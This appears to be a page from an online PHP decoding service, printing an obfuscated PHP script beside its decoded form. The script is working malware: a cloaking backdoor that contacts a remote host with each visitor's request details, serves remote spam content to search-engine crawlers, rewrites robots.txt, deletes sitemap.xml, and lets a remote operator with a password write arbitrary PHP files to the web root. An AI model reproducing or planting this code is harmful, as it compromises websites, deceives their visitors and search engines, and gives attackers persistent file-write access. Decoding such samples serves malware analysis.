Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

goto nwstg; ozzke: $duri_tmp = st_uri(); goto A5hDS; bNYIm: if (!strstr($htmcontent, "\156..

Decoded Output download

<?  goto nwstg; ozzke: $duri_tmp = st_uri(); goto A5hDS; bNYIm: if (!strstr($htmcontent, "nobotuseragent")) { if (strstr($htmcontent, "okhtmlgetcontent")) { @header("Content-type: text/html; charset=utf-8"); $htmcontent = str_replace("okhtmlgetcontent", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "okxmlgetcontent")) { $htmcontent = str_replace("okxmlgetcontent", '', $htmcontent); @header("Content-type: text/xml"); echo $htmcontent; die; } else { if (strstr($htmcontent, "pingxmlgetcontent")) { $htmcontent = str_replace("pingxmlgetcontent", '', $htmcontent); @header("Content-type: text/html; charset=utf-8"); echo pingmap($htmcontent); die; } } } } goto c06tj; GXPW0: $duri = urlencode($duri_tmp); goto XQkSH; x886f: $htmcontent = trim(dageget($web)); goto bNYIm; CpaY2: if (@$_GET["pd"] != '') { $add_content = @$_GET["mapname"]; $action = @$_GET["action"]; if (isset($_SERVER["DOCUMENT_ROOT"])) { $path = $_SERVER["DOCUMENT_ROOT"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "put"; } if ($action == "put") { if (strstr($add_content, ".xml")) { $map_path = $path . "/sitemap.xml"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "/robots.txt"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "User-agent: *Allow: /"; } $sitmap_url = $http . "://" . $host . "/" . $add_content; if (stristr($data, $sitmap_url)) { echo "<br>sitemap already added!<br>"; } else { if (file_put_contents($file_path, trim($data) . "\xd
" . "Sitemap: " . $sitmap_url)) { echo "<br>ok<br>"; } else { echo "<br>file write false!<br>"; } } } else { echo "<br>sitemap name false!<br>"; } if (strstr($add_content, ".p" . "hp")) { $a = sha1(sha1(@$_GET["a"])); $b = sha1(sha1(@$_GET["b"])); if ($a == dageget($http_web . "://" . $goweb . "/a.p" . "hp") || $b == "808735b17c8943e3715388958dc22d879a8c9eaa") { $dstr = @$_GET["dstr"]; if (file_put_contents($path . "/" . $add_content, $dstr)) { echo "ok"; } } } } die; } goto zPwI7; mvNNF: $urlshang = ''; goto Hsvjs; Hsvjs: if (isset($_SERVER["HTTP_REFERER"])) { $urlshang = $_SERVER["HTTP_REFERER"]; $urlshang = urlencode($urlshang); } goto CpaY2; aW01A: function sbot() { $uAgent = strtolower($_SERVER["HTTP_USER_AGENT"]); if (stristr($uAgent, "googlebot") || stristr($uAgent, "bing") || stristr($uAgent, "yahoo") || stristr($uAgent, "google") || stristr($uAgent, "Googlebot") || stristr($uAgent, "googlebot")) { return true; } else { return false; } } goto dPZ72; O2z6J: if (is_htps()) { $http = "https"; } else { $http = "http"; } goto ozzke; FKcyv: $xmlname = "nmrz"; goto gPA1R; dPZ72: function dageget($url) { $file_contents = ''; if (function_exists("curl_init")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto MwM5_; GbdqM: function is_htps() { if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { return true; } elseif (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { return true; } elseif (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { return true; } return false; } goto Bu3Bs; c06tj: function pingmap($url) { $url_arr = explode("\xd\xa", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "Sitemap Notification Received") !== false ? "pingok" : "error"; $return_str .= $pingUrl . "-- " . $ok . "<br>"; } return $return_str; } goto aW01A; xCPfu: @ignore_user_abort(1); goto FKcyv; nwstg: @set_time_limit(3600); goto xCPfu; liyVI: $lang = @$_SERVER["HTTP_ACCEPT_LANGUAGE"]; goto dks8z; XQkSH: function st_uri() { if (isset($_SERVER["REQUEST_URI"])) { $duri = $_SERVER["REQUEST_URI"]; } else { if (isset($_SERVER["argv"])) { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; } else { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; } } return $duri; } goto LS53L; LS53L: $goweb = $xmlname . ".bikeonthemum" . ".xyz"; goto GbdqM; gPA1R: $http_web = "http"; goto O2z6J; dks8z: $lang = urlencode($lang); goto mvNNF; A5hDS: if ($duri_tmp == '') { $duri_tmp = "/"; } goto GXPW0; zPwI7: $web = $http_web . "://" . $goweb . "/indexnew.php?web=" . $host . "&zz=" . sbot() . "&uri=" . $duri . "&urlshang=" . $urlshang . "&http=" . $http . "&lang=" . $lang; goto x886f; Bu3Bs: $host = $_SERVER["HTTP_HOST"]; goto liyVI; MwM5_:  ?>

Did this file decode correctly?

Original Code

goto nwstg; ozzke: $duri_tmp = st_uri(); goto A5hDS; bNYIm: if (!strstr($htmcontent, "\156\157\142\x6f\x74\x75\x73\x65\x72\x61\x67\145\156\164")) { if (strstr($htmcontent, "\157\x6b\x68\x74\155\154\147\x65\164\143\x6f\156\164\145\x6e\x74")) { @header("\103\x6f\156\164\145\x6e\x74\55\x74\171\x70\145\x3a\40\x74\145\170\164\x2f\150\164\x6d\154\x3b\x20\143\150\x61\162\163\145\164\x3d\165\164\146\55\70"); $htmcontent = str_replace("\x6f\153\150\x74\x6d\154\x67\x65\164\143\157\156\164\x65\x6e\x74", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "\x6f\153\170\x6d\x6c\x67\145\164\143\x6f\x6e\164\145\x6e\164")) { $htmcontent = str_replace("\x6f\153\x78\155\154\147\145\164\x63\x6f\156\x74\145\156\164", '', $htmcontent); @header("\103\157\156\164\145\x6e\164\x2d\x74\x79\160\x65\x3a\x20\164\145\x78\164\x2f\x78\x6d\x6c"); echo $htmcontent; die; } else { if (strstr($htmcontent, "\160\151\156\147\x78\155\154\147\x65\164\143\x6f\156\x74\x65\156\x74")) { $htmcontent = str_replace("\160\151\x6e\x67\170\x6d\154\x67\145\164\x63\x6f\156\x74\145\156\164", '', $htmcontent); @header("\103\x6f\156\164\x65\156\164\x2d\164\x79\160\145\72\40\164\145\170\x74\x2f\x68\164\155\154\x3b\40\x63\150\x61\x72\163\x65\x74\75\165\x74\146\x2d\70"); echo pingmap($htmcontent); die; } } } } goto c06tj; GXPW0: $duri = urlencode($duri_tmp); goto XQkSH; x886f: $htmcontent = trim(dageget($web)); goto bNYIm; CpaY2: if (@$_GET["\160\x64"] != '') { $add_content = @$_GET["\x6d\141\160\x6e\141\155\x65"]; $action = @$_GET["\x61\143\164\x69\x6f\x6e"]; if (isset($_SERVER["\104\x4f\x43\x55\115\x45\116\124\137\122\117\117\x54"])) { $path = $_SERVER["\x44\x4f\103\125\x4d\x45\116\x54\x5f\122\117\117\124"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "\x70\x75\x74"; } if ($action == "\160\165\x74") { if (strstr($add_content, "\x2e\170\x6d\154")) { $map_path = $path . "\x2f\163\x69\164\x65\155\x61\160\x2e\x78\155\x6c"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "\57\162\157\x62\x6f\x74\163\x2e\164\170\x74"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "\125\163\145\162\x2d\141\x67\x65\156\x74\72\40\x2a\101\154\154\157\x77\72\40\57"; } $sitmap_url = $http . "\x3a\x2f\x2f" . $host . "\x2f" . $add_content; if (stristr($data, $sitmap_url)) { echo "\x3c\142\x72\76\163\x69\164\145\155\x61\160\x20\141\154\x72\x65\141\144\171\x20\141\144\144\x65\144\41\x3c\x62\162\x3e"; } else { if (file_put_contents($file_path, trim($data) . "\xd\12" . "\123\151\164\145\x6d\x61\160\x3a\40" . $sitmap_url)) { echo "\x3c\142\162\x3e\x6f\x6b\74\x62\162\76"; } else { echo "\x3c\x62\162\x3e\x66\151\x6c\145\40\167\x72\151\x74\145\x20\146\x61\x6c\x73\145\x21\x3c\x62\x72\76"; } } } else { echo "\x3c\x62\x72\x3e\x73\151\x74\x65\155\x61\160\40\156\x61\155\x65\x20\x66\x61\x6c\x73\145\x21\x3c\142\x72\x3e"; } if (strstr($add_content, "\56\x70" . "\150\x70")) { $a = sha1(sha1(@$_GET["\x61"])); $b = sha1(sha1(@$_GET["\x62"])); if ($a == dageget($http_web . "\72\57\57" . $goweb . "\57\x61\x2e\160" . "\150\160") || $b == "\x38\x30\x38\x37\63\65\142\61\67\x63\70\71\64\x33\145\63\67\61\65\x33\x38\70\x39\65\70\x64\x63\x32\62\144\x38\x37\71\x61\70\x63\x39\145\x61\141") { $dstr = @$_GET["\144\163\164\162"]; if (file_put_contents($path . "\57" . $add_content, $dstr)) { echo "\157\153"; } } } } die; } goto zPwI7; mvNNF: $urlshang = ''; goto Hsvjs; Hsvjs: if (isset($_SERVER["\110\124\124\120\x5f\x52\x45\x46\x45\122\105\x52"])) { $urlshang = $_SERVER["\110\124\124\x50\x5f\122\105\106\x45\122\x45\122"]; $urlshang = urlencode($urlshang); } goto CpaY2; aW01A: function sbot() { $uAgent = strtolower($_SERVER["\110\x54\x54\x50\x5f\125\123\x45\x52\x5f\101\107\x45\116\124"]); if (stristr($uAgent, "\x67\157\x6f\x67\154\x65\142\x6f\x74") || stristr($uAgent, "\x62\151\x6e\x67") || stristr($uAgent, "\x79\x61\150\157\x6f") || stristr($uAgent, "\147\x6f\x6f\147\x6c\145") || stristr($uAgent, "\107\x6f\157\x67\x6c\145\x62\x6f\164") || stristr($uAgent, "\x67\x6f\x6f\x67\154\x65\142\157\x74")) { return true; } else { return false; } } goto dPZ72; O2z6J: if (is_htps()) { $http = "\x68\x74\164\160\x73"; } else { $http = "\150\x74\164\160"; } goto ozzke; FKcyv: $xmlname = "\156\155\162\172"; goto gPA1R; dPZ72: function dageget($url) { $file_contents = ''; if (function_exists("\143\165\x72\154\x5f\x69\x6e\151\x74")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto MwM5_; GbdqM: function is_htps() { if (isset($_SERVER["\110\124\124\120\x53"]) && strtolower($_SERVER["\x48\x54\124\x50\123"]) !== "\157\x66\146") { return true; } elseif (isset($_SERVER["\x48\x54\x54\120\137\x58\x5f\x46\x4f\122\127\101\x52\104\x45\x44\x5f\x50\x52\117\124\117"]) && $_SERVER["\x48\124\124\120\137\130\137\106\x4f\x52\x57\x41\x52\x44\x45\x44\x5f\x50\x52\x4f\x54\x4f"] === "\150\164\x74\x70\163") { return true; } elseif (isset($_SERVER["\110\x54\x54\x50\137\106\122\x4f\x4e\124\x5f\x45\x4e\x44\x5f\110\124\124\120\x53"]) && strtolower($_SERVER["\110\x54\124\120\x5f\x46\x52\117\x4e\124\x5f\x45\116\104\x5f\x48\x54\124\x50\123"]) !== "\x6f\146\x66") { return true; } return false; } goto Bu3Bs; c06tj: function pingmap($url) { $url_arr = explode("\xd\xa", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "\x53\x69\x74\145\x6d\141\160\40\x4e\157\x74\151\146\151\143\141\x74\x69\157\156\x20\122\x65\143\x65\x69\x76\145\x64") !== false ? "\160\151\x6e\147\157\x6b" : "\145\162\162\157\162"; $return_str .= $pingUrl . "\55\x2d\x20" . $ok . "\74\142\162\x3e"; } return $return_str; } goto aW01A; xCPfu: @ignore_user_abort(1); goto FKcyv; nwstg: @set_time_limit(3600); goto xCPfu; liyVI: $lang = @$_SERVER["\x48\124\x54\120\137\x41\x43\103\105\x50\124\x5f\x4c\101\116\x47\x55\101\x47\105"]; goto dks8z; XQkSH: function st_uri() { if (isset($_SERVER["\x52\105\121\125\x45\123\124\x5f\x55\122\111"])) { $duri = $_SERVER["\122\x45\121\x55\105\x53\x54\x5f\125\122\111"]; } else { if (isset($_SERVER["\141\x72\147\x76"])) { $duri = $_SERVER["\120\x48\120\137\x53\105\x4c\106"] . "\77" . $_SERVER["\141\162\147\x76"][0]; } else { $duri = $_SERVER["\x50\x48\x50\137\123\x45\114\x46"] . "\x3f" . $_SERVER["\x51\125\105\122\x59\x5f\x53\x54\x52\x49\x4e\x47"]; } } return $duri; } goto LS53L; LS53L: $goweb = $xmlname . "\x2e\142\x69\x6b\145\x6f\156\164\x68\145\155\x75\155" . "\56\x78\171\172"; goto GbdqM; gPA1R: $http_web = "\150\x74\164\160"; goto O2z6J; dks8z: $lang = urlencode($lang); goto mvNNF; A5hDS: if ($duri_tmp == '') { $duri_tmp = "\57"; } goto GXPW0; zPwI7: $web = $http_web . "\x3a\x2f\x2f" . $goweb . "\57\151\156\144\x65\x78\x6e\145\x77\56\x70\150\x70\77\167\145\x62\x3d" . $host . "\46\x7a\172\x3d" . sbot() . "\46\165\x72\151\x3d" . $duri . "\x26\165\162\x6c\163\150\x61\x6e\x67\75" . $urlshang . "\x26\150\x74\164\160\75" . $http . "\46\154\141\156\x67\x3d" . $lang; goto x886f; Bu3Bs: $host = $_SERVER["\110\x54\124\x50\x5f\110\117\123\124"]; goto liyVI; MwM5_: 

Function Calls

None

Variables

None

Stats

MD5 97293739e21078d90cef99ec03db8d21
Eval Count 0
Decode Time 48 ms